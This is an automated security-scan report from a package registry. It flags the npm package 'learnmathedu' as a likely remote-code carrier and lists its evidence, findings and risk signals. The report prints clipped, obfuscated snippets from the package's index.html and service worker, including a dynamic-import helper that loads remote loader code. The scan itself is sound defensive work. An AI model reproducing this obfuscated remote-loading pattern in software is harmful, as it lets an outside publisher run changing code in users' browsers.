registry / learnmathedu / 2.1.3

learnmathedu@2.1.3

math

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Opening index.html dynamically loads an obfuscated external loader; the service worker also imports externally selected worker code. This is a staged remote-code carrier, but no direct theft or destructive behavior is established in the package.

Static reason

One or more suspicious static signals were detected.

Trigger

User opens the published HTML application and its service worker runs.

Impact

A remote loader publisher can change code executed by visitors after this package is published.

Mechanism

Obfuscated dynamic import and importScripts of remote loader code.

Rationale

The package is an obfuscated remote-code carrier with concrete runtime execution of externally sourced code. It lacks install hooks and no direct malicious action is established from the inspected source.

Evidence

index.htmlsw.jsREADME.mdpackage.json

Decision evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for warning

The HTML entrypoint dynamically imports a loader from obfuscated source URLs and invokes its boot function.
The service worker resolves a remote worker version and executes it with importScripts.
README describes the package as a static carrier and states release output is obfuscated.

Evidence against

package.json has no preinstall, install, or postinstall hook.
No package-source evidence of local credential/file harvesting, destructive actions, or AI-agent configuration writes was found.

Behavioral surface

Source

DynamicRequireNetwork

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 43.8 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 1-2html

1<!doctype html><html lang=en><head><meta name="_DdhxNWV9l" content="0a4720ec30761870eef72d4d820bb4588142f99e6abd27b8bf6e451f4afa553d"><meta charset=utf-8><meta content="width=device-width,initial-scale=1,viewport-fit=cover" name=viewport><meta content=#8f1558 name=theme-color><meta content=dark name=color-scheme><title>yrneazngurqh</title><style>body,html{height:100%;margin:0;background:#151216}</style></head><body><script type=module>(function(_0x5a0cf3,_0xb88327){const _0x45c9cf={_0x50c4b8:0x258,_0x326cfe:0x23a,_0x448b3d:0x23c,_0x51a542:0x25b,_0x25c6eb:0x2c7,_0x506023:0x285,_0x8bf93a:0x2b6,_ ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

Medium

Ai Review Evidence

The HTML entrypoint dynamically imports a loader from obfuscated source URLs and invokes its boot function.

index.htmlView on unpkg · L1

Long lines were clipped for display.

sw.jsView file

Lines 1-3javascript

1(function(_0x14a05c,_0xdce8e7){var _0x2e3e67={_0x41b619:0x1c5,_0x1dd9a1:0x1c7,_0x398750:0x1cd,_0x447192:0x1cf,_0x565ccc:0x1d6,_0x313402:0x1ce,_0x896546:0x1d3,_0x470fda:0x1c6},_0x910fe1={_0xb34fdb:0x34c};function

README.mdView file

Lines 1-21markdown

1# YuriRTC static carrier

3The `learnmathedu` NPM name is retained for existing CDN and deployment links.

4The package contains the two path-portable files a static host needs:

5`index.html` and `sw.js`.

Medium

Ai Review Evidence

README describes the package as a static carrier and states release output is obfuscated.

README.mdView on unpkg · L1

7Build a non-deployable placeholder artifact with `npm run build`. A release

Source & flagged code

5 flagged · loading source

index.htmlView file

1(function(_0x5a0cf3,_0xb88327){const _0x45c9cf={_0x50c4b8:0x258,_0x326cfe:0x23a,_0x448b3d:0x23c,_0x51a542:0x25b,_0x25c6eb:0x2c7,_0x506023:0x285,_0x8bf93a:0x2b6,_0x1784dc:0x2c8,_0x5...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

1async function importFirst(_0x186f54){const _0x14a248={_0x121335:0x149};function _0x5a3823(_0x2a9a24,_0x8b145c){return _0x1153fb(_0x8b145c,_0x2a9a24- -0x38f);}for(const _0x3c7bf2 of _0x186f54){try{return await import(_0x3c7bf2);}catch{}}throw new Error(_0x5a3823(_0x14a248._0x121335,0xe1));}

Medium

Ai Review Evidence

The HTML entrypoint dynamically imports a loader from obfuscated source URLs and invokes its boot function.

index.htmlView on unpkg · L1

sw.jsView file

High

Findings

1 High6 Medium2 Low

HighObfuscated Payload Loadersw.js

MediumDynamic Requireindex.html

MediumNetwork

MediumStructural Risk Force Deep Review

MediumAi Review Evidenceindex.html

MediumAi Review Evidencesw.js

MediumAi Review EvidenceREADME.md

LowScripts Present

LowHigh Entropy Strings